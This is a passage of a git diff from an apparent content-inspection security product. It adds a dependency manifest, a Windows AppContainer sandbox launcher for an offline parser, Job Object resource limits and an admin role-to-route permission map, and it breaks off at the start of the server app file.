== 'socks'", + "trio<1.0,>=0.22.0; extra == 'trio'" + ], + "topLevelPaths": [ + "httpcore", + "httpcore-1.0.9.dist-info" + ] + }, + { + "name": "httpx", + "version": "0.28.1", + "requires": [ + "anyio", + "certifi", + "httpcore==1.*", + "idna", + "brotli; (platform_python_implementation == 'CPython') and extra == 'brotli'", + "brotlicffi; (platform_python_implementation != 'CPython') and extra == 'brotli'", + "click==8.*; extra == 'cli'", + "pygments==2.*; extra == 'cli'", + "rich<14,>=10; extra == 'cli'", + "h2<5,>=3; extra == 'http2'", + "socksio==1.*; extra == 'socks'", + "zstandard>=0.18.0; extra == 'zstd'" + ], + "topLevelPaths": [ + "httpx", + "httpx-0.28.1.dist-info" + ] + }, + { + "name": "huggingface_hub", + "version": "1.33.0", + "requires": [ + "click<9.0.0,>=8.4.2", + "filelock>=3.10.0", + "fsspec>=2023.5.0", + "hf-xet<2.0.0,>=1.6.0; platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"AMD64\" or platform_machine == \"arm64\" or platform_machine == \"aarch64\"", + "httpx<1,>=0.23.0", + "packaging>=20.9", + "pyyaml>=5.1", + "tomli>=1.1.0; python_version < \"3.11\"", + "tqdm>=4.42.1", + "typing-extensions>=4.1.0", + "authlib>=1.3.2; extra == \"oauth\"", + "fastapi; extra == \"oauth\"", + "httpx; extra == \"oauth\"", + "itsdangerous; extra == \"oauth\"", + "torch; extra == \"torch\"", + "safetensors[torch]; extra == \"torch\"", + "toml; extra == \"fastai\"", + "fastai>=2.4; extra == \"fastai\"", + "fastcore>=1.3.27; extra == \"fastai\"", + "hf-xet<2.0.0,>=1.6.0; extra == \"hf-xet\"", + "mcp<2.0.0,>=1.9.4; extra == \"mcp\"", + "authlib>=1.3.2; extra == \"testing\"", + "fastapi; extra == \"testing\"", + "httpx; extra == \"testing\"", + "itsdangerous; extra == \"testing\"", + "jedi; extra == \"testing\"", + "Jinja2; extra == \"testing\"", + "pytest>=8.4.2; extra == \"testing\"", + "pytest-cov; extra == \"testing\"", + "pytest-env; extra == \"testing\"", + "pytest-xdist; extra == \"testing\"", + "pytest-vcr; extra == \"testing\"", + "pytest-asyncio; extra == \"testing\"", + "pytest-rerunfailures>=16.2; extra == \"testing\"", + "pytest-mock; extra == \"testing\"", + "urllib3<2.0; extra == \"testing\"", + "soundfile; extra == \"testing\"", + "Pillow; extra == \"testing\"", + "numpy; extra == \"testing\"", + "duckdb; extra == \"testing\"", + "fastapi; extra == \"testing\"", + "gradio>=5.0.0; extra == \"gradio\"", + "requests; extra == \"gradio\"", + "typing-extensions>=4.8.0; extra == \"typing\"", + "types-PyYAML; extra == \"typing\"", + "types-simplejson; extra == \"typing\"", + "types-toml; extra == \"typing\"", + "types-tqdm; extra == \"typing\"", + "types-urllib3; extra == \"typing\"", + "ruff>=0.9.0; extra == \"quality\"", + "mypy==1.15.0; extra == \"quality\"", + "libcst>=1.4.0; extra == \"quality\"", + "ty; extra == \"quality\"", + "authlib>=1.3.2; extra == \"all\"", + "fastapi; extra == \"all\"", + "httpx; extra == \"all\"", + "itsdangerous; extra == \"all\"", + "jedi; extra == \"all\"", + "Jinja2; extra == \"all\"", + "pytest>=8.4.2; extra == \"all\"", + "pytest-cov; extra == \"all\"", + "pytest-env; extra == \"all\"", + "pytest-xdist; extra == \"all\"", + "pytest-vcr; extra == \"all\"", + "pytest-asyncio; extra == \"all\"", + "pytest-rerunfailures>=16.2; extra == \"all\"", + "pytest-mock; extra == \"all\"", + "urllib3<2.0; extra == \"all\"", + "soundfile; extra == \"all\"", + "Pillow; extra == \"all\"", + "numpy; extra == \"all\"", + "duckdb; extra == \"all\"", + "fastapi; extra == \"all\"", + "ruff>=0.9.0; extra == \"all\"", + "mypy==1.15.0; extra == \"all\"", + "libcst>=1.4.0; extra == \"all\"", + "ty; extra == \"all\"", + "typing-extensions>=4.8.0; extra == \"all\"", + "types-PyYAML; extra == \"all\"", + "types-simplejson; extra == \"all\"", + "types-toml; extra == \"all\"", + "types-tqdm; extra == \"all\"", + "types-urllib3; extra == \"all\"", + "authlib>=1.3.2; extra == \"dev\"", + "fastapi; extra == \"dev\"", + "httpx; extra == \"dev\"", + "itsdangerous; extra == \"dev\"", + "jedi; extra == \"dev\"", + "Jinja2; extra == \"dev\"", + "pytest>=8.4.2; extra == \"dev\"", + "pytest-cov; extra == \"dev\"", + "pytest-env; extra == \"dev\"", + "pytest-xdist; extra == \"dev\"", + "pytest-vcr; extra == \"dev\"", + "pytest-asyncio; extra == \"dev\"", + "pytest-rerunfailures>=16.2; extra == \"dev\"", + "pytest-mock; extra == \"dev\"", + "urllib3<2.0; extra == \"dev\"", + "soundfile; extra == \"dev\"", + "Pillow; extra == \"dev\"", + "numpy; extra == \"dev\"", + "duckdb; extra == \"dev\"", + "fastapi; extra == \"dev\"", + "ruff>=0.9.0; extra == \"dev\"", + "mypy==1.15.0; extra == \"dev\"", + "libcst>=1.4.0; extra == \"dev\"", + "ty; extra == \"dev\"", + "typing-extensions>=4.8.0; extra == \"dev\"", + "types-PyYAML; extra == \"dev\"", + "types-simplejson; extra == \"dev\"", + "types-toml; extra == \"dev\"", + "types-tqdm; extra == \"dev\"", + "types-urllib3; extra == \"dev\"" + ], + "topLevelPaths": [ + "huggingface_hub", + "huggingface_hub-1.33.0.dist-info" + ] + }, + { + "name": "tokenizers", + "version": "0.22.2", + "requires": [ + "huggingface-hub>=0.16.4,<2.0", + "pytest ; extra == 'testing'", + "pytest-asyncio ; extra == 'testing'", + "requests ; extra == 'testing'", + "numpy ; extra == 'testing'", + "datasets ; extra == 'testing'", + "ruff ; extra == 'testing'", + "ty ; extra == 'testing'", + "sphinx ; extra == 'docs'", + "sphinx-rtd-theme ; extra == 'docs'", + "setuptools-rust ; extra == 'docs'", + "tokenizers[testing] ; extra == 'dev'" + ], + "topLevelPaths": [ + "tokenizers", + "tokenizers-0.22.2.dist-info" + ] + }, + { + "name": "typing_extensions", + "version": "4.16.0", + "requires": [], + "topLevelPaths": [ + "__pycache__", + "typing_extensions-4.16.0.dist-info", + "typing_extensions.py" + ] + } + ] +} \ No newline at end of file diff --git a/apps/inspector/windows_appcontainer.py b/apps/inspector/windows_appcontainer.py new file mode 100644 index 0000000..4d7e804 --- /dev/null +++ b/apps/inspector/windows_appcontainer.py @@ -0,0 +1,271 @@ +"""Capability-free Windows AppContainer process launcher. + +The HTTP broker must stay outside this boundary. Only approved immutable runtime, +parser source and model directories receive read/execute access. Documents travel +through anonymous pipes, never a temporary plaintext file. No network capability +or loopback exemption is assigned. Windows supplies the package-private storage. +""" +import ctypes +import hashlib +import os +import subprocess +import sys +import threading +from pathlib import Path +from ctypes import wintypes as W + + +class SandboxError(RuntimeError): + pass + + +def _verify_read_acl(path, sid): + """Read the DACL directly; startup never needs WRITE_DAC or icacls.""" + a = ctypes.WinDLL('advapi32', use_last_error=True) + k = ctypes.WinDLL('kernel32', use_last_error=True) + a.GetNamedSecurityInfoW.argtypes = [W.LPWSTR, W.DWORD, W.DWORD, ctypes.c_void_p, ctypes.c_void_p, ctypes.POINTER(ctypes.c_void_p), ctypes.c_void_p, ctypes.POINTER(ctypes.c_void_p)] + a.GetNamedSecurityInfoW.restype = W.DWORD + a.GetAce.argtypes = [ctypes.c_void_p, W.DWORD, ctypes.POINTER(ctypes.c_void_p)] + a.GetAce.restype = W.BOOL + a.EqualSid.argtypes = [ctypes.c_void_p, ctypes.c_void_p]; a.EqualSid.restype = W.BOOL + k.LocalFree.argtypes = [ctypes.c_void_p]; k.LocalFree.restype = ctypes.c_void_p + dacl = ctypes.c_void_p(); descriptor = ctypes.c_void_p() + if a.GetNamedSecurityInfoW(str(path), 1, 4, None, None, ctypes.byref(dacl), None, ctypes.byref(descriptor)): + raise SandboxError('Approved runtime ACL could not be inspected') + try: + if not dacl: raise SandboxError('Approved runtime has unrestricted access') + count = ctypes.c_ushort.from_address(dacl.value + 4).value + allow = 0 + required = 0x1200a9 # FILE_GENERIC_READ | FILE_GENERIC_EXECUTE + for index in range(count): + ace = ctypes.c_void_p() + if not a.GetAce(dacl, index, ctypes.byref(ace)): raise SandboxError('Runtime ACL is invalid') + kind = ctypes.c_ubyte.from_address(ace.value).value + flags = ctypes.c_ubyte.from_address(ace.value + 1).value + if flags & 8: continue # INHERIT_ONLY does not apply to this object. + mask = ctypes.c_uint32.from_address(ace.value + 4).value + # Conservative: a relevant deny ACE requires administrator review. + if kind == 1 and mask & (required | 0x90000000): + raise SandboxError('Approved runtime has conflicting deny permissions') + if kind == 0 and a.EqualSid(ctypes.c_void_p(ace.value + 8), sid): + if mask & 0x10000000: mask |= 0x1f01ff + if mask & 0x80000000: mask |= 0x120089 + if mask & 0x20000000: mask |= 0x1200a0 + allow |= mask + if allow & required != required: + raise SandboxError('Runtime ACL provisioning is required before inspector startup') + if allow & 0x400d0116: # write/append/EA/attributes/delete/WRITE_DAC/WRITE_OWNER + raise SandboxError('AppContainer runtime access must be read-only') + finally: + k.LocalFree(descriptor) + + +def _api(): + if sys.platform != 'win32': + raise SandboxError('AppContainer requires Windows') + k = ctypes.WinDLL('kernel32', use_last_error=True) + u = ctypes.WinDLL('userenv', use_last_error=True) + a = ctypes.WinDLL('advapi32', use_last_error=True) + for name, args, result in [ + ('CloseHandle', [W.HANDLE], W.BOOL), + ('CreatePipe', [ctypes.POINTER(W.HANDLE), ctypes.POINTER(W.HANDLE), ctypes.c_void_p, W.DWORD], W.BOOL), + ('SetHandleInformation', [W.HANDLE, W.DWORD, W.DWORD], W.BOOL), + ('InitializeProcThreadAttributeList', [ctypes.c_void_p, W.DWORD, W.DWORD, ctypes.POINTER(ctypes.c_size_t)], W.BOOL), + ('UpdateProcThreadAttribute', [ctypes.c_void_p, W.DWORD, ctypes.c_size_t, ctypes.c_void_p, ctypes.c_size_t, ctypes.c_void_p, ctypes.c_void_p], W.BOOL), + ('DeleteProcThreadAttributeList', [ctypes.c_void_p], None), + ('CreateProcessW', [W.LPCWSTR, W.LPWSTR, ctypes.c_void_p, ctypes.c_void_p, W.BOOL, W.DWORD, ctypes.c_void_p, W.LPCWSTR, ctypes.c_void_p, ctypes.c_void_p], W.BOOL), + ('WaitForSingleObject', [W.HANDLE, W.DWORD], W.DWORD), + ('TerminateProcess', [W.HANDLE, W.UINT], W.BOOL), + ('GetExitCodeProcess', [W.HANDLE, ctypes.POINTER(W.DWORD)], W.BOOL), + ('LocalFree', [ctypes.c_void_p], ctypes.c_void_p), + ('CreateJobObjectW', [ctypes.c_void_p, W.LPCWSTR], W.HANDLE), + ('SetInformationJobObject', [W.HANDLE, ctypes.c_int, ctypes.c_void_p, W.DWORD], W.BOOL), + ('AssignProcessToJobObject', [W.HANDLE, W.HANDLE], W.BOOL), + ('ResumeThread', [W.HANDLE], W.DWORD), + ]: + fn = getattr(k, name); fn.argtypes = args; fn.restype = result + u.CreateAppContainerProfile.argtypes = [W.LPCWSTR, W.LPCWSTR, W.LPCWSTR, ctypes.c_void_p, W.DWORD, ctypes.POINTER(ctypes.c_void_p)] + u.CreateAppContainerProfile.restype = ctypes.c_long + u.DeriveAppContainerSidFromAppContainerName.argtypes = [W.LPCWSTR, ctypes.POINTER(ctypes.c_void_p)] + u.DeriveAppContainerSidFromAppContainerName.restype = ctypes.c_long + a.ConvertSidToStringSidW.argtypes = [ctypes.c_void_p, ctypes.POINTER(W.LPWSTR)] + a.ConvertSidToStringSidW.restype = W.BOOL + a.FreeSid.argtypes = [ctypes.c_void_p]; a.FreeSid.restype = ctypes.c_void_p + return k, u, a + + +class AppContainer: + """Broker-owned launcher. Caller supplies trusted deployment directories.""" + def __init__(self, read_directories, *, provision=False): + self.k, u, self.a = _api() + roots_input = [Path(p).absolute() for p in read_directories] + for root in roots_input: + for component in [root, *root.parents]: + if component.lstat().st_file_attributes & 0x400: + raise SandboxError('Reparse point in approved sandbox root') + roots = tuple(sorted({str(p.resolve(strict=True)) for p in roots_input})) + if not roots or any(not Path(p).is_dir() or Path(p).parent == Path(p) for p in roots): + raise SandboxError('Invalid approved sandbox runtime directories') + self.name = 'SafetyNet.Parser.' + hashlib.sha256('\0'.join(roots).encode()).hexdigest()[:24] + self.sid = ctypes.c_void_p() + result = u.CreateAppContainerProfile(self.name, 'SafetyNet parser', 'Offline content inspection', None, 0, ctypes.byref(self.sid)) + if result != 0 and u.DeriveAppContainerSidFromAppContainerName(self.name, ctypes.byref(self.sid)) != 0: + raise SandboxError('AppContainer profile could not be established') + sid_text = W.LPWSTR() + if not self.a.ConvertSidToStringSidW(self.sid, ctypes.byref(sid_text)): + raise SandboxError('AppContainer identity unavailable') + try: + self.sid_string = sid_text.value + finally: + self.k.LocalFree(sid_text) + # Package SID grants are specific to this deployment, never Everyone or + # ALL APPLICATION PACKAGES. No writable permission is added to source. + for root in roots: + # Reject junctions/symlinks before recursive grants; /L alone is not + # sufficient evidence that every possible reparse target stays local. + entries = [Path(root)] + for directory, folders, files in os.walk(root, followlinks=False): + for name in folders + files: + entry = Path(directory) / name + if entry.lstat().st_file_attributes & 0x400: + raise SandboxError('Reparse point in approved sandbox runtime') + entries.append(entry) + if provision: + completed = subprocess.run(['icacls.exe', root, '/grant:r', '*' + self.sid_string + ':(RX)', '/T', '/L', '/Q'], + capture_output=True, timeout=60, creationflags=subprocess.CREATE_NO_WINDOW) + if completed.returncode: + raise SandboxError('Approved runtime access could not be established') + for entry in entries: + _verify_read_acl(entry, self.sid) + self.roots = roots + + def run(self, executable, arguments, data=b'', environment=None, timeout=30, max_output=8*1024*1024): + """One bounded pipe exchange. Child descendants remain in broker Job.""" + import msvcrt + executable = str(Path(executable).resolve(strict=True)) + if not any(Path(executable).is_relative_to(Path(root)) for root in self.roots): + raise SandboxError('Executable is outside approved runtime') + class SA(ctypes.Structure): + _fields_ = [('length', W.DWORD), ('descriptor', ctypes.c_void_p), ('inherit', W.BOOL)] + class SI(ctypes.Structure): + _fields_ = [('cb', W.DWORD), ('reserved', W.LPWSTR), ('desktop', W.LPWSTR), ('title', W.LPWSTR), + ('x', W.DWORD), ('y', W.DWORD), ('xs', W.DWORD), ('ys', W.DWORD), ('xc', W.DWORD), ('yc', W.DWORD), + ('fill', W.DWORD), ('flags', W.DWORD), ('show', W.WORD), ('reserved2size', W.WORD), + ('reserved2', ctypes.c_void_p), ('stdin', W.HANDLE), ('stdout', W.HANDLE), ('stderr', W.HANDLE)] + class SIX(ctypes.Structure): + _fields_ = [('startup', SI), ('attributes', ctypes.c_void_p)] + class PI(ctypes.Structure): + _fields_ = [('process', W.HANDLE), ('thread', W.HANDLE), ('pid', W.DWORD), ('tid', W.DWORD)] + class SC(ctypes.Structure): + _fields_ = [('sid', ctypes.c_void_p), ('capabilities', ctypes.c_void_p), ('count', W.DWORD), ('reserved', W.DWORD)] + security = SA(ctypes.sizeof(SA), None, True) + handles = [] + attribute = None + process = PI() + job = None + owned_files = [] + try: + ir, iw, or_, ow = W.HANDLE(), W.HANDLE(), W.HANDLE(), W.HANDLE() + for read, write in [(ir, iw), (or_, ow)]: + if not self.k.CreatePipe(ctypes.byref(read), ctypes.byref(write), ctypes.byref(security), 0): + raise SandboxError('Sandbox pipes unavailable') + handles.extend([read.value, write.value]) + for parent_handle in [iw, or_]: + if not self.k.SetHandleInformation(parent_handle, 1, 0): + raise SandboxError('Sandbox pipe inheritance unavailable') + size = ctypes.c_size_t() + self.k.InitializeProcThreadAttributeList(None, 2, 0, ctypes.byref(size)) + attribute = ctypes.create_string_buffer(size.value) + if not self.k.InitializeProcThreadAttributeList(attribute, 2, 0, ctypes.byref(size)): + raise SandboxError('Sandbox launch attributes unavailable') + caps = SC(self.sid, None, 0, 0) + inheritance = (W.HANDLE * 2)(ir.value, ow.value) + for key, value in [(0x20009, caps), (0x20002, inheritance)]: + if not self.k.UpdateProcThreadAttribute(attribute, 0, key, ctypes.byref(value), ctypes.sizeof(value), None, None): + raise SandboxError('Sandbox launch boundary unavailable') + startup = SIX(); startup.startup.cb = ctypes.sizeof(SIX) + startup.startup.flags = 0x100; startup.startup.stdin = ir; startup.startup.stdout = ow; startup.startup.stderr = ow + startup.attributes = ctypes.cast(attribute, ctypes.c_void_p) + # Explicit environment: no broker credential or inherited deployment secrets. + env = {'SystemRoot': os.environ.get('SystemRoot', 'C:\\Windows'), 'PYTHONDONTWRITEBYTECODE': '1', 'PYTHONIOENCODING':'utf-8'} + for key in ['USERPROFILE','LOCALAPPDATA','APPDATA','TEMP','TMP','WINDIR']: + if key in os.environ: env[key] = os.environ[key] + allowed = {'EMBEDDING_MODEL_DIR','EMBEDDING_WORKER_PATH','SEARCHI_FORCE_CPU','GGML_CPU_ONLY','GGML_DISABLE_VULKAN'} + if any(key not in allowed or not isinstance(value,str) or '\0' in value for key,value in (environment or {}).items()): + raise SandboxError('Unapproved AppContainer environment field') + env.update(environment or {}) + environment_block = ctypes.create_unicode_buffer('\0'.join(f'{key}={value}' for key, value in sorted(env.items())) + '\0\0') + command = ctypes.create_unicode_buffer(subprocess.list2cmdline([executable, *arguments])) + if not self.k.CreateProcessW(executable, command, None, None, True, 0x80000|0x400|0x8000000|0x4, + environment_block, self.roots[0], ctypes.byref(startup), ctypes.byref(process)): + raise SandboxError('AppContainer process launch failed: ' + str(ctypes.get_last_error())) + # Suspended launch avoids an execution window before descendant cleanup. + class BasicLimits(ctypes.Structure): + _fields_ = [('processTime', ctypes.c_int64), ('jobTime', ctypes.c_int64), ('flags', W.DWORD), + ('minWorking', ctypes.c_size_t), ('maxWorking', ctypes.c_size_t), ('processes', W.DWORD), + ('affinity', ctypes.c_size_t), ('priority', W.DWORD), ('scheduling', W.DWORD)] + class Extended(ctypes.Structure): + _fields_ = [('basic', BasicLimits), ('io', ctypes.c_uint64 * 6), ('processMemory', ctypes.c_size_t), ('jobMemory', ctypes.c_size_t), ('peakProcess', ctypes.c_size_t), ('peakJob', ctypes.c_size_t)] + limits = Extended(); limits.basic.flags = 0x2000 | 0x8; limits.basic.processes = 2 + job = self.k.CreateJobObjectW(None, None) + if not job or not self.k.SetInformationJobObject(job, 9, ctypes.byref(limits), ctypes.sizeof(limits)) or not self.k.AssignProcessToJobObject(job, process.process): + self.k.TerminateProcess(process.process, 1) + raise SandboxError('AppContainer descendant containment unavailable') + if self.k.ResumeThread(process.thread) == 0xffffffff: + raise SandboxError('AppContainer launch resume failed') + self.k.CloseHandle(process.thread); process.thread = None + for child_handle in [ir.value, ow.value]: + self.k.CloseHandle(child_handle); handles.remove(child_handle) + writer = os.fdopen(msvcrt.open_osfhandle(iw.value, os.O_WRONLY|os.O_BINARY), 'wb', buffering=0) + reader = os.fdopen(msvcrt.open_osfhandle(or_.value, os.O_RDONLY|os.O_BINARY), 'rb', buffering=0) + handles.remove(iw.value); handles.remove(or_.value); owned_files = [writer, reader] + chunks = []; exceeded = threading.Event(); errors = [] + def write(): + try: + position = 0 + while position < len(data): + count = writer.write(memoryview(data)[position:]) + if not count: raise OSError() + position += count + except OSError: + pass + finally: + writer.close() + def read(): + total = 0 + try: + while True: + chunk = reader.read(65536) + if not chunk: break + total += len(chunk) + if total > max_output: + exceeded.set(); self.k.TerminateProcess(process.process, 1); break + chunks.append(chunk) + except OSError: + errors.append(True) + threads = [threading.Thread(target=write, daemon=True), threading.Thread(target=read, daemon=True)] + for thread in threads: thread.start() + if self.k.WaitForSingleObject(process.process, int(timeout*1000)) != 0: + self.k.TerminateProcess(process.process, 1) + self.k.WaitForSingleObject(process.process, 5000) + raise SandboxError('AppContainer inspection deadline exceeded') + self.k.CloseHandle(job);job=None + for thread in threads: thread.join(2) + if exceeded.is_set() or errors or any(thread.is_alive() for thread in threads): + raise SandboxError('AppContainer response failed bounded exchange') + code = W.DWORD() + if not self.k.GetExitCodeProcess(process.process, ctypes.byref(code)): + raise SandboxError('AppContainer process status unavailable') + return code.value, b''.join(chunks) + finally: + if job: self.k.CloseHandle(job);job=None + for file in owned_files: + if not file.closed: file.close() + for handle in handles: self.k.CloseHandle(handle) + if job: self.k.CloseHandle(job) + if process.thread: self.k.CloseHandle(process.thread) + if process.process: self.k.CloseHandle(process.process) + if attribute is not None: self.k.DeleteProcThreadAttributeList(attribute) + + + diff --git a/apps/inspector/windows_containment.py b/apps/inspector/windows_containment.py new file mode 100644 index 0000000..81d12b6 --- /dev/null +++ b/apps/inspector/windows_containment.py @@ -0,0 +1,67 @@ +"""Windows resource containment for the inspector and all descendant workers. + +This is a Job Object, not a restricted-token or filesystem/network sandbox. +The inspector owns the handle: terminating it also terminates its model workers. +""" +import ctypes +import sys +from ctypes import wintypes + +_job_handle = None +MEMORY_LIMIT = 4 * 1024 * 1024 * 1024 +PROCESS_LIMIT = 4 + + +def contain_inspector(): + global _job_handle + if sys.platform != "win32": + return {"active": False, "kind": "unsupported-platform"} + if _job_handle: + return {"active": True, "kind": "windows-job-v1"} + + class BasicLimits(ctypes.Structure): + _fields_ = [("PerProcessUserTimeLimit", ctypes.c_int64), + ("PerJobUserTimeLimit", ctypes.c_int64), ("LimitFlags", wintypes.DWORD), + ("MinimumWorkingSetSize", ctypes.c_size_t), ("MaximumWorkingSetSize", ctypes.c_size_t), + ("ActiveProcessLimit", wintypes.DWORD), ("Affinity", ctypes.c_size_t), + ("PriorityClass", wintypes.DWORD), ("SchedulingClass", wintypes.DWORD)] + + class IOCounters(ctypes.Structure): + _fields_ = [(name, ctypes.c_uint64) for name in + ("ReadOperationCount", "WriteOperationCount", "OtherOperationCount", + "ReadTransferCount", "WriteTransferCount", "OtherTransferCount")] + + class ExtendedLimits(ctypes.Structure): + _fields_ = [("BasicLimitInformation", BasicLimits), ("IoInfo", IOCounters), + ("ProcessMemoryLimit", ctypes.c_size_t), ("JobMemoryLimit", ctypes.c_size_t), + ("PeakProcessMemoryUsed", ctypes.c_size_t), ("PeakJobMemoryUsed", ctypes.c_size_t)] + + kernel = ctypes.WinDLL("kernel32", use_last_error=True) + kernel.CreateJobObjectW.argtypes = [ctypes.c_void_p, wintypes.LPCWSTR] + kernel.CreateJobObjectW.restype = wintypes.HANDLE + kernel.SetInformationJobObject.argtypes = [wintypes.HANDLE, ctypes.c_int, ctypes.c_void_p, wintypes.DWORD] + kernel.SetInformationJobObject.restype = wintypes.BOOL + kernel.AssignProcessToJobObject.argtypes = [wintypes.HANDLE, wintypes.HANDLE] + kernel.AssignProcessToJobObject.restype = wintypes.BOOL + kernel.GetCurrentProcess.restype = wintypes.HANDLE + kernel.CloseHandle.argtypes = [wintypes.HANDLE] + + handle = kernel.CreateJobObjectW(None, None) + if not handle: + raise RuntimeError("Inspector resource containment could not be created") + limits = ExtendedLimits() + # KILL_ON_JOB_CLOSE | JOB_MEMORY | ACTIVE_PROCESS. No BREAKAWAY flags. + limits.BasicLimitInformation.LimitFlags = 0x2000 | 0x200 | 0x8 + limits.BasicLimitInformation.ActiveProcessLimit = PROCESS_LIMIT + limits.JobMemoryLimit = MEMORY_LIMIT + if not kernel.SetInformationJobObject(handle, 9, ctypes.byref(limits), ctypes.sizeof(limits)): + kernel.CloseHandle(handle) + raise RuntimeError("Inspector resource containment limits could not be applied") + if not kernel.AssignProcessToJobObject(handle, kernel.GetCurrentProcess()): + kernel.CloseHandle(handle) + raise RuntimeError("Inspector resource containment could not be attached") + # Retain a non-inheritable owner handle until process exit. Do not close early: + # KILL_ON_JOB_CLOSE also terminates the current inspector process. + _job_handle = handle + return {"active": True, "kind": "windows-job-v1", "memoryBytes": MEMORY_LIMIT, + "maxProcesses": PROCESS_LIMIT, "killsDescendants": True} diff --git a/apps/server/admin-access.mjs b/apps/server/admin-access.mjs new file mode 100644 index 0000000..6b8e35a --- /dev/null +++ b/apps/server/admin-access.mjs @@ -0,0 +1,59 @@ +// Route permissions are enforced before handlers, including routes installed early. +// Permissions from a session payload are never accepted as authority. +export const adminRoles=Object.freeze({ + admin:Object.freeze(['evidence.read','incidents.read','incidents.triage','overview.read','audit.read','policy.read','policy.prepare','policy.write','devices.manage','bookmarks.read','bookmarks.write','teaching.read','teaching.write','integrations.test','sessions.manage']), + operator:Object.freeze(['incidents.read','incidents.triage','overview.read','audit.read','policy.read','policy.prepare','devices.manage','bookmarks.read','bookmarks.write','teaching.read','teaching.write','integrations.test']), + auditor:Object.freeze(['incidents.read','overview.read','audit.read','policy.read','teaching.read']) +}); +export function bootstrapAllowed(config){ + try{const url=new URL(config.publicUrl);return url.protocol==='http:'&&['127.0.0.1','localhost','[::1]'].includes(url.hostname);}catch{return false;} +} +export function normalizePrincipal(principal){ + const role=principal.role??(principal.admin===true?'admin':null); + if(!Object.hasOwn(adminRoles,role))return null; + return {sub:principal.sub,name:principal.name,admin:role==='admin',role,permissions:[...adminRoles[role]]}; +} +export function principalForGroups(identity,groups,config){ + const list=Array.isArray(groups)?groups:[]; + const role=list.includes(config.oidcAdminGroup)?'admin':config.oidcOperatorGroup&&list.includes(config.oidcOperatorGroup)?'operator':config.oidcAuditorGroup&&list.includes(config.oidcAuditorGroup)?'auditor':null; + return role?normalizePrincipal({...identity,role}):{...identity,admin:false}; +} +export function adminRoutePermission(method,url){ + const path=new URL(url,'http://localhost').pathname; + if(method==='GET'){ + if(/^\/api\/admin\/evidence\/[^/]+$/.test(path))return 'evidence.read'; + if(/^\/api\/admin\/incidents(?:\/[^/]+)?$/.test(path))return 'incidents.read'; + if(path==='/api/admin/user-profiles')return 'policy.read'; + if(path==='/api/admin/policy-groups')return 'policy.read'; + if(/^\/api\/admin\/policy-reviews(?:\/[^/]+)?$/.test(path))return 'policy.read'; + if(path==='/api/admin/policy/history'||/^\/api\/admin\/policy\/history\/\d+$/.test(path)||path==='/api/admin/policy/diff')return 'policy.read'; + if(path==='/api/admin/sessions')return 'sessions.manage'; + if(path==='/api/admin/overview'||path==='/api/admin/session')return 'overview.read'; + if(path==='/api/admin/events/export')return 'audit.read'; + if(path==='/api/admin/teaching')return 'teaching.read'; + if(/^\/api\/admin\/devices\/[^/]+\/bookmarks$/.test(path))return 'bookmarks.read'; + if(['/api/admin/management-channel','/api/admin/presets','/api/admin/integrations'].includes(path))return 'policy.read'; + } + if(method==='POST'&&path==='/api/admin/incidents')return 'incidents.triage'; + if(method==='PATCH'&&/^\/api\/admin\/incidents\/[^/]+$/.test(path))return 'incidents.triage'; + if(method==='POST'&&path==='/api/admin/policy-reviews')return 'policy.prepare'; + if(method==='POST'&&path==='/api/admin/user-profiles/preview')return 'policy.read'; + if(method==='PUT'&&path==='/api/admin/user-profile-configuration')return 'policy.write'; + if(['PUT','DELETE'].includes(method)&&/^\/api\/admin\/user-profiles\/[^/]+$/.test(path))return 'policy.write'; + if(method==='POST'&&path==='/api/admin/policy-groups/preview')return 'policy.read'; + if(['PUT','DELETE'].includes(method)&&/^\/api\/admin\/policy-groups\/[^/]+$/.test(path))return 'policy.write'; + if(method==='POST'&&/^\/api\/admin\/policy-reviews\/[^/]+\/(approve|reject)$/.test(path))return 'policy.write'; + if(method==='POST'&&path==='/api/admin/policy/restore')return 'policy.write'; + if(method==='POST'&&/^\/api\/admin\/sessions\/[^/]+\/revoke$/.test(path))return 'sessions.manage'; + if(method==='PUT'&&/^\/api\/admin\/devices\/[^/]+\/bookmarks$/.test(path))return 'bookmarks.write'; + if(method==='POST'&&(path==='/api/admin/enrollments'||/^\/api\/admin\/devices\/[^/]+\/revoke$/.test(path)))return 'devices.manage'; + // Per-device inspection changes publish the shared policy version. + if(method==='PATCH'&&/^\/api\/admin\/devices\/[^/]+\/inspection$/.test(path))return 'policy.write'; + if(method==='PUT'&&['/api/admin/policy','/api/admin/security/blocklists'].includes(path))return 'policy.write'; + if(method==='POST'&&/^\/api\/admin\/teaching\/[^/]+\/publish$/.test(path))return 'policy.write'; + if(method==='POST'&&path==='/api/admin/integrations/icap/probe')return 'integrations.test'; + if(method==='POST'&&['/api/admin/teaching','/api/admin/semantic/reference','/api/admin/semantic/document-reference','/api/admin/security/visual-reference'].includes(path))return 'teaching.write'; + if(method==='POST'&&['/api/admin/policy/test','/api/admin/presets/preview'].includes(path))return 'policy.read'; + return null; // New endpoints require an explicit permission; never infer from HTTP method. +} + diff --git a/apps/server/app.mjs b/apps/server/app.mjs new file mode 100644 index 0000000..749f5df --- /dev/null +++ b/apps/server/app.mjs @@ -0,0 +1,285 @@ +import express from 'express'; +import transferFacts from '../../packages/core/transfer-facts.cjs'; +import {installEvidence} from './evidence.mjs'; +import {installIncidents} from './incidents.mjs'; +import { installBookmarkRoutes,globalBookmarksValid } from './bookmarks.mjs'; +import { z } from 'zod'; +import { randomUUID,timingSafeEqual } from 'node:crypto'; +import { fileURLToPath } from 'node:url'; +import { PolicySchema, inspect, inspectForAI, allowsConfidentialLocal } from '../../packages/core/policy.mjs'; +import { digest, token } from './store.mjs'; +import {policyPublisher} from './policy-review.mjs'; +import {installPolicyHistory} from './policy-history.mjs'; +import {installUserProfiles} from './user-profiles.mjs'; +import {installPolicyGroups} from './policy-groups.mjs'; +import { adminMiddleware, authRoutes,cookie } from './auth.mjs'; +import {bootstrapAllowed,normalizePrincipal} from './admin-access.mjs'; +import { tracer } from './telemetry.mjs'; +import { toECS,toCEF } from '../../packages/core/siem.mjs'; +import { inspector } from './inspection.mjs'; +import { SecuritySchema, VisualBrandSchema, VisualOriginSchema } from '../../packages/core/security.mjs'; +import { defaultSemantic } from '../../packages/core/semantic.mjs'; +import { installPolicyChannel } from './policy-channel.mjs'; +import enterpriseInspection from '../browser/enterprise-inspection.cjs'; +import icapClient from '../browser/icap-client.cjs'; +import {EnterpriseSchema} from '../../packages/core/enterprise.mjs'; +import { policyPresets, previewPreset } from '../../packages/core/presets.mjs'; +import { enterpriseReadiness } from '../../packages/core/enterprise.mjs'; + +export function createApp(store,config) { + const 